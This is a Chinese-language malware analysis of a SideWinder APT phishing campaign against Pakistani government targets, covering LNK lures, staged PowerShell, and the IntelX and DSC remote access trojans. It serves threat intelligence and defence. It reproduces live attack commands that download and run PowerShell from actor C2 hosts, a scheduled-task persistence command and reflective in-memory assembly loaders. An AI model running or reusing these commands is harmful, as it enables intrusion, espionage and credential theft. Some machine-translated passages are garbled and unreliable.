Sidewinder APT – 针对巴基斯坦的网络钓鱼

APT 4周前 admin
219 0 0

Sidewinder APT – 针对巴基斯坦的网络钓鱼

介绍

7月30日,[StrikeReady 实验室] 报告发现恶意**LNK**文件。

此文件旨在从 URL 下载 PowerShell 脚本management.xuzeest[.]buzz/DSC30/。DarkAtlas 小队一直在密切监视这种高级持续性威胁 (APT),该威胁归因于 SideWinder,这是一个自 2012 年以来一直活跃的印度威胁组织。SideWinder主要关注巴基斯坦、尼泊尔和阿富汗。根据 LNK 文件中的内容,这次活动也针对巴基斯坦政府。在本次分析中,我们将剖析完整的攻击链。

8 月份,一份新文件被发布 [已识别],使用相同的交付技术,但使用不同的有效载荷和新的命令和控制 (C2) 服务器。虽然黑暗阿特拉斯小队继续追踪威胁后,他们发现了另一个与此次活动相关的 LNK 文件,其中包含一个新的 C2 通信通道。

我们对这三起事件的调查发现,SideWinder 在攻击中部署了新工具。

此次活动中观察到的攻击链和技术与他们以前的操作不同。

值得注意的是,SideWinder 引入了一种新的远程访问木马 (RAT),我们将其命名为 IntelX,这是一个 .NET DLL 文件,直接从内存加载,而无需与硬盘交互。

这个 DLL 被严重混淆,分析起来很困难,但我们成功解开了它。

此外,在另一起案件中,他们部署了一个新的工具,我们将其命名为 DSC,它也充当 RAT。

我们在本文中专门用一节来介绍这些工具的逆向工程过程和深入分析

Sidewinder APT – 针对巴基斯坦的网络钓鱼

图片显示了一封试图冒充总理办公室的钓鱼电子邮件。

该电子邮件包含一个名为“联合工作组议程”的附件和打开文件的密码。

攻击者使用了一个与官方政府地址相似的虚假电子邮件地址,并将目标锁定在与 .gov.pk 域名相关联的实体上,这表明他们试图欺骗收件人相信该电子邮件是合法的。

骗局要点:

电子邮件地址 [email protected] 看起来是官方的,但它实际上来自免费电子邮件服务(Gmail),而不是官方政府域名。

该电子邮件是发给与 .gov.pk 域名相关联的收件人的,这表明攻击者专门针对巴基斯坦的政府相关实体。

它敦促收件人下载并打开受密码保护的附件(JWG@AUG2024#)。这种策略通常用于逃避可能扫描附件内容的自动安全检查。

技术分析

正如我们之前提到的,我们有 3 个链接文件

6842aee028eaa07af8e8eba41bef019aee72fe245ca86be39efd2df883b2402c7d1585f9ed317bf06a63bd5aaaf015f6066c51a7153370579b2836d66142f877ffb1e4d9253ed97cc381826993a8812ac6c53f7a7d01793e282fc148102bdab3

第一种情况

Sidewinder APT – 针对巴基斯坦的网络钓鱼

探索第一个文件,我们发现这个快捷方式以 PowerShell.exe 为目标来执行此命令

powershell -noLOG  -WInDoWST  HIDDe  -NoeXI  -NoprOFILE -noniNtErac  -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell

Sidewinder APT – 针对巴基斯坦的网络钓鱼

该命令使用`-非交互式` 参数,通过允许它在不需要用户交互的情况下运行,使检测更加困难。

它还采用 `—无标志`以防止 PowerShell 徽标出现在控制台中,从而进一步隐藏其执行。

然后该命令会 ping 网站www[.]nadra[.]gov[.]pk,可能是为了建立合法连接或检查连接性。

它继续对 yahoo.com 和 protonmail.com 执行 DNS 查找。

随后,它执行 start hxxps[://]pmo[.]gov[.]pk/site/404,它会在默认的 Web 浏览器中打开 URL。

此页面可能是无害的,也可能是攻击的一部分,将自己呈现为运行 Lnk 文件的预期结果。

此部分`$id=’ftroof.top/’; &(‘i’+’r’+’m’) http://pmofficepakistancloudserver.shi$id/WinSysMgr/|Powershell` 将构建从 ` 下载的 URL http://pmofficepakistancloudserver.shiftroof.top/WinSysMgr/` 另一个有效载荷并将其传送到 PowerShell 执行。

通过 PowerShell 执行的下载命令将创建一个每日运行的计划任务,从同一 C2 但不同的端点下载另一个阶段 `http://ofc.mofserviceserver.top/DSCTSC/` 并将下载的阶段通过管道传输到 PowerShell。

以下是完整执行的命令

cmd /k schtasks /create /sc daily /tn LocalMCleaner /tr "Powershell -WindowStyle Hidden irm http://ofc.mofserviceserver.top/DSCTSC/|Powershell" /st 10:13 /f

Sidewinder APT – 针对巴基斯坦的网络钓鱼

执行此命令后,它将下载“DCSTSC”,即 PowerShell 脚本

PS 脚本从远程服务器下载一个字符串,对其进行反转,然后将其从 Base64 解码为字节数组。

然后,将此字节数组作为 .NET 程序集直接加载到内存中,从而使脚本无需将任何内容写入磁盘即可执行潜在的恶意代码。

最后的步骤是从加载的程序集中创建一个对象并调用一个方法,这表明下载的文件是.NET Dll,要调用的函数在 Prop Class 中的命名空间下称为“ **CTX**(“HpProb”)”英特尔

$string = irm  ('http://ofc.mofserviceserver.top/DSCTSC/download/') ;
$Astring=$string[-1..-$string.Length] -join '';
$bytees = [System.Convert]::FromBase64String($Astring);
[System.Reflection.Assembly]::Load($bytees);$Start = New-Object IntelX.Prop;
$Start.CTX('HpProp');

Sidewinder APT – 针对巴基斯坦的网络钓鱼

下载的有效载荷是用.NET编写的Dll文件,名为OnDrv.dll,哈希值为3DA6AD5A0749865C4E6D2EC871CDDBF67E5094EE3FD053CFC87A301A3111BA7C

Sidewinder APT – 针对巴基斯坦的网络钓鱼

该.NET 文件非常模糊,使得代码分析阶段非常困难,因此首先我们需要先对该文件进行去模糊化,然后再尝试分析它。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

第二种情况

Sidewinder APT – 针对巴基斯坦的网络钓鱼

要使用 PowerShell 执行的 Target 参数的内容,如下所示。

-noLOG  -WInDoWST  HIDDe  -NoeXI  -NoprOFILE -noniNtErac  -CommaN ping www.pmo.gov.pk; nslookup www.outlook.com; start https://pmo.gov.pk/404; $d='st.buzz/'; &('i'+'r'+'m') http://management.xuzee$d/DSC30/|Powershell


Sidewinder APT – 针对巴基斯坦的网络钓鱼

下载脚本将在第一个 Lnk 文件上执行与 3stage 相同的操作,方法是下载 based64 编码的二进制文件,然后对其进行解码,然后将此 Dll 加载到内存中并调用名为 Connect(“CheckLic”) 的函数。

请求的 URL 如下图所示,是“http://management.xuzeest.buzz/DSC30/CKP/””

$string = irm  ('http://management.xuzeest.buzz/DSC30/CKP/') ; $bytees = [System.Convert]::FromBase64String($string.Replace('$','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('CheckLic');

Sidewinder APT – 针对巴基斯坦的网络钓鱼

下载的文件也是一个.NET dll,名称为

Adobe.dll sha256:C7139821EE237E7913CB770A67A859E0218C0DB6F37B1B778D5FF380A7720A69

Sidewinder APT – 针对巴基斯坦的网络钓鱼

在检查Dnspy中的Dll文件时,它也被严重混淆为第一种情况,大量的垃圾代码和函数使分析师的生活更加困难。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

第三种情况

Sidewinder APT – 针对巴基斯坦的网络钓鱼

-noLOG  -WInDoWST  HIDDe  -NoeXI  -NoprOFILE -noniNtErac  -CommaN ping www.ministryof.gov.pk; nslookup www.Elpson.com; nslookup www.mproton.com; start https://pmo.gov.pk/site/404; $did='enpont.xyz/'; &('i'+'r'+'m') http://ministryofficedownloadcloudserver.scre$did/78/|Powershell

执行该脚本将下载一个新的PowerShell脚本,该脚本将下载并解码DSC Dll,该Dll被称为Adobe,直接调用Connect函数,与第二种情况相同。

$string = irm  ('http://ministryofficedownloadcloudserver.screenpont.xyz/78/CKP/');$bytees = [System.Convert]::FromBase64String($string.Replace('$',''));[System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('CheckLic');

尽管某些函数名称很清楚并暗示了它们的用途,但在这种情况下分析代码既繁琐又耗时。我们有两个主要目标:

  • 对 .NET 代码进行反混淆。

  • 使用 Dnspy 加载和调试 DLL,这是非常具有挑战性的。

所以会尝试独立分析每个Dll文件,最后会尝试突出显示代码或有效负载的功能中是否存在相似之处。

IntelX (OnDrv.dll) (首次下载NetDll)

我们尝试使用出色的工具 De4dot,但它甚至无法去混淆或识别混淆器,经过很长时间,我发现了一个很棒的工具,称为 [NETReactorSlayer]以更准确的方式完成了任务,即使有一点混淆,但对我来说,结果令人印象深刻。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

所以现在我们需要加载和调试这个Dll,如果我们执行了PowerShell脚本,你必须确保我们可能无法附加到这个进程,即使它更难达到这个函数和跟踪代码,我也试图使用常用工具将这个Dll转换为exe文件,但它也引发了一个异常,因为所有这些工具都被制作出来了处理 C/C++ 可执行文件,我们有两个选项可以使用其中一个工具,然后尝试修改 .NET 头文件并添加入口点,第二个选项是 Fortinet 研究人员在 [本博客],这是关于构建包装器 exe 并将 Dll 嵌入到其资源中,然后调用所需的函数。

通过使用此包装器,即使线程处理存在一些问题,但这是我们达到的最好情况。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

我们只需要运行这个可执行文件,然后将 Dnspy 附加到其进程,现在我们正在控制执行

Sidewinder APT – 针对巴基斯坦的网络钓鱼

现在我们进入了 CTX 函数。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

函数 Class3.smethod_0(int) ,此函数从恶意软件配置中检索一个字符串,该字符串保存在程序集资源上并在执行此类构造时写入数组class3.byte_0因此我们可以将此函数重命名为与其目的相关的任何事物,也许是 Get_Str()。

Sidewinder APT – 针对巴基斯坦的网络钓鱼


Sidewinder APT – 针对巴基斯坦的网络钓鱼

您可以找到恶意软件配置 [这里]在 Class70.smethod_0() 中,恶意软件将执行此 WMI 查询以“从Win32_ComputerSystem中选择 *”以获取此信息

Computer name, operating system, manufacturer, model, serial number.Processor, memory, hard drives, network adapters. Installed programs, operating system version,system directory ,Current user, domain information

它将根据虚拟化解决方案(如VMware或Vbox)使用的一些元素检查制造商元素

Sidewinder APT – 针对巴基斯坦的网络钓鱼

在一个名为 DetectSandBox() 的函数中,它将检查一个名为“SibeDll.dll”的 Dll 是否存在,该 Dll 指示_Sandboxie Environment_

Sidewinder APT – 针对巴基斯坦的网络钓鱼

它还调用一个名为 DetectEmulation() 的函数,该函数用于检测代码是在模拟环境中运行还是在虚拟环境中运行。模拟器或虚拟机可能无法像物理硬件那样准确地处理计时,这可能会导致运行时间计算中的差异。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

它还将通过向“http://ip-api.com/line/?fields=proxy,hosting!`

Sidewinder APT – 针对巴基斯坦的网络钓鱼

恶意软件已使用此UserAgent发出请求

“Mozilla / 5.0(Windows NT 10.0;Win64的;x64) AppleWebKit/537.36(KHTML,类似 Gecko)Chrome/105.0.0.0 Safari/537.36”

Sidewinder APT – 针对巴基斯坦的网络钓鱼

在解密使用 AES(CBC 模式)解密的 C2 时,我们得到了一个新域,该域与先前阶段使用的其他域不同。technical.solutionsonline.top

Sidewinder APT – 针对巴基斯坦的网络钓鱼

其他功能

如前所述,此 RAT 配备了广泛的功能,并且函数名称本身可以清楚地说明其用途,因此我们无需详细探索每个功能。

相反,让我们关注使这种 RAT 如此有效的一些关键组成部分。

“Client()”类对于维护与威胁参与者的 C2 服务器的连接至关重要。它处理从初始化连接到管理数据流的所有事情 – 连接、断开连接、发送、接收、解析和解密通信。这确保了 RAT 可以与攻击者保持隐蔽和持续的链接。

在“IntelX.Core”命名空间中,“Detection”类在确保 RAT 不容易被分析或检测到方面发挥着关键作用。它通过探测注册表和扫描正在运行的进程来主动检查沙盒和虚拟化环境。这使得安全研究人员和自动分析工具更难在不揭示其存在的情况下研究 RAT。

此外,“SystemCore”类专门用于收集有关受感染系统的广泛信息,包括 CPU、GPU、防火墙状态、MAC 地址、操作系统名称、网络网关和已安装的防病毒软件等详细信息。

这种数据收集使攻击者能够了解环境,并可能定制进一步的攻击。

此外,RAT 在其命名空间内采用了复杂的反分析技术。其中包括更改图像的基址、修改内存保护,以及可能使用混淆、时序检查和调试器检测来逃避分析。

这些组件共同展示了 RAT 的复杂性和旨在逃避检测并最大化其可能造成的损害的精心设计。

IntelX.Core

其中一个类是“Client()”,它负责建立和管理与威胁参与者的 C2 服务器的连接。它处理各种任务,包括连接、断开连接、发送和接收数据、解析信息和解密响应。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

在“IntelX.Core”命名空间中,有一个名为“Detection”的类。此类负责检查环境是沙箱还是虚拟机。它通过检查注册表和分析正在运行的进程来实现这一点。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

RAT 中的“SystemCore”类旨在收集有关正在运行的操作系统和当前用户的详细信息,如下图所示。它收集广泛的数据,包括:

– CPU详细信息

– GPU信息

– 防火墙状态

–MAC地址

– 操作系统名称

– 网络网关

– 已安装防病毒软件

– 还有更多…

Sidewinder APT – 针对巴基斯坦的网络钓鱼

但是有一个名为 TryUacTrick() 的函数,用于通过执行此命令来获取正在运行的二进制文件的管理员级别

START "" "<file path>" -CHECK & PING -n 2 127.0.0.1 & EXIT IntelX.Core.AntiAnalysis

在此命名空间中,采用各种反分析技术使分析过程复杂化。其中包括通过修改其基址来更改图像,以及更改代码的内存保护。此外,它还利用混淆代码、检测调试器和实施时序检查等方法来进一步阻碍逆向工程和分析。

IntelX.Core.Commands

此命名空间负责在受害者的计算机上执行从 C2 服务器接收的命令。它包括许多快速抗原测试中常见的功能,例如:

  • 下载文件

  • 执行命令

  • DLL注入

  • 终止进程

  • 捕获击键

  • 创建新流程

  • 记录已安装的应用程序

  • 记录正在运行的进程

  • 还有更多…

    Sidewinder APT – 针对巴基斯坦的网络钓鱼

IntelX.Core.Packets.ClientPackets(充当窃取程序)

在这个名称空间中,IntelX RAT具有普通窃取者的能力,它收集浏览器的历史记录并收集Cookie,遍历目录和上传文件,收集密码。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

IntelX.Core.RemoteShell

IntelX 将使 TA 能够通过这个名为 Shell() 的类直接与受害者的 Shell 进行交互

Sidewinder APT – 针对巴基斯坦的网络钓鱼

Sidewinder APT – 针对巴基斯坦的网络钓鱼

Adobe.dll (第二个 Dll 文件)

在对第二个Dll文件进行反混淆后,我们发现它是一个不同的RAT,我们将其命名为DSC作为其命名空间,第一个要调用的函数称为DSC。连接()

Sidewinder APT – 针对巴基斯坦的网络钓鱼

该恶意软件在登录函数中使用“异步”和“等待”,其所有功能都使用相同的方法,这使得代码的步进非常繁琐且耗时。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

DSC RAT 中使用了很多函数,我们以后可能不会深入研究它,但作为函数名称,它表达了函数及其内部的上下文。

Sidewinder APT – 针对巴基斯坦的网络钓鱼

恶意软件开发人员利用了“AsyncTaskMethodBuilder”,它是 C# 异步编程模型中的关键组件,专门设计用于帮助管理和执行返回“Task”的异步方法。它是 C# 编译器在代码中使用“async”和“await”时生成的状态机基础结构的一部分。

恶意软件配置

在分析时,我们能够提取恶意软件配置和 C2 服务器,DSC 恶意软件滥用 Discord API,并在 C2 服务器上使用它来发布和接收数据和命令。

如上图所示,此处使用的 API 令牌是“1272267366788759612`

并且此 URL 也检查了 ‘https://discord.com/api/v9/channels/1272267366788759612/messages`

Sidewinder APT – 针对巴基斯坦的网络钓鱼

我们已经上传了恶意软件配置,您可以检查它 [这里]

TTPs(TTPs)


策略 技术标题 MITRE ATT&CK ID
初始访问 网络钓鱼:鱼叉式网络钓鱼附件 编号:T1566.001
执行 用户执行:恶意文件 编号:T1204.002

Command and Scripting 解释器 T1059

命令和脚本解释器:PowerShell T1059.001
防御规避 反射式代码加载 T1620

混淆文件或信息:无文件存储 编号:T1027.011

虚拟化/沙盒规避 T1497.001

对文件或信息进行反混淆/解码 T1140

损害防御:禁用或修改系统防火墙 编号:T1562.004

损害防御:禁用或修改工具 编号:T1562.001
发现 系统信息发现 T1082

进程发现 T1057

文件和目录发现 T1083
权限提升 进程注入(dll注入) T1055

滥用提升控制机制:绕过用户帐户控制 T1548.002
指挥与控制 应用层协议 T1071

加密通道 T1573

远程访问工具 T1219
凭据访问 凭据转储 T1003

窃取 Web 会话 Cookie T1539
冲击 服务停止 T1489
收集 屏幕截图 T1113

剪贴板数据 T1115
外泄 通过 C2 通道的渗透 T1041
坚持 启动或登录自动启动执行:注册表运行键 T1547.001


IOCs


link file 7D1585F9ED317BF06A63BD5AAAF015F6066C51A7153370579B2836D66142F877
link file 6842aee028eaa07af8e8eba41bef019aee72fe245ca86be39efd2df883b2402c
link file ffb1e4d9253ed97cc381826993a8812ac6c53f7a7d01793e282fc148102bdab3
IntelX  dumped sample 3DA6AD5A0749865C4E6D2EC871CDDBF67E5094EE3FD053CFC87A301A3111BA7C
DSC dumped sample C7139821EE237E7913CB770A67A859E0218C0DB6F37B1B778D5FF380A7720A69
C2 Servers pmofficepakistancloudserver[.]shiftroof[.]top

ofc[.]mofserviceserver[.]top

management[.]xuzeest[.]buzz

ministryofficedownloadcloudserver[.]screenpont[.]xyz

technical[.]solutionsonline[.]top

download-file[.]top

files-windows[.]top

mofserviceserver[.]top

 officemof[.]buzz

cloudpmo[.]top  

download-cert[.]top

download-services[.]online

download-windows-server[.]store

update-service[.]top

screenpont[.]xyz

dellicon[.]top  

hellsoint[.]buzz

service-support[.]top

solutionsonline[.]top

https://discord[.]com/api/v9/channels/1272267366788759612/messages



感谢您抽出

Sidewinder APT – 针对巴基斯坦的网络钓鱼

.

Sidewinder APT – 针对巴基斯坦的网络钓鱼

.

Sidewinder APT – 针对巴基斯坦的网络钓鱼

来阅读本文

Sidewinder APT – 针对巴基斯坦的网络钓鱼

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):Sidewinder APT – 针对巴基斯坦的网络钓鱼

版权声明:admin 发表于 2024年8月21日 上午11:54。
转载请注明:Sidewinder APT – 针对巴基斯坦的网络钓鱼 | CTF导航

相关文章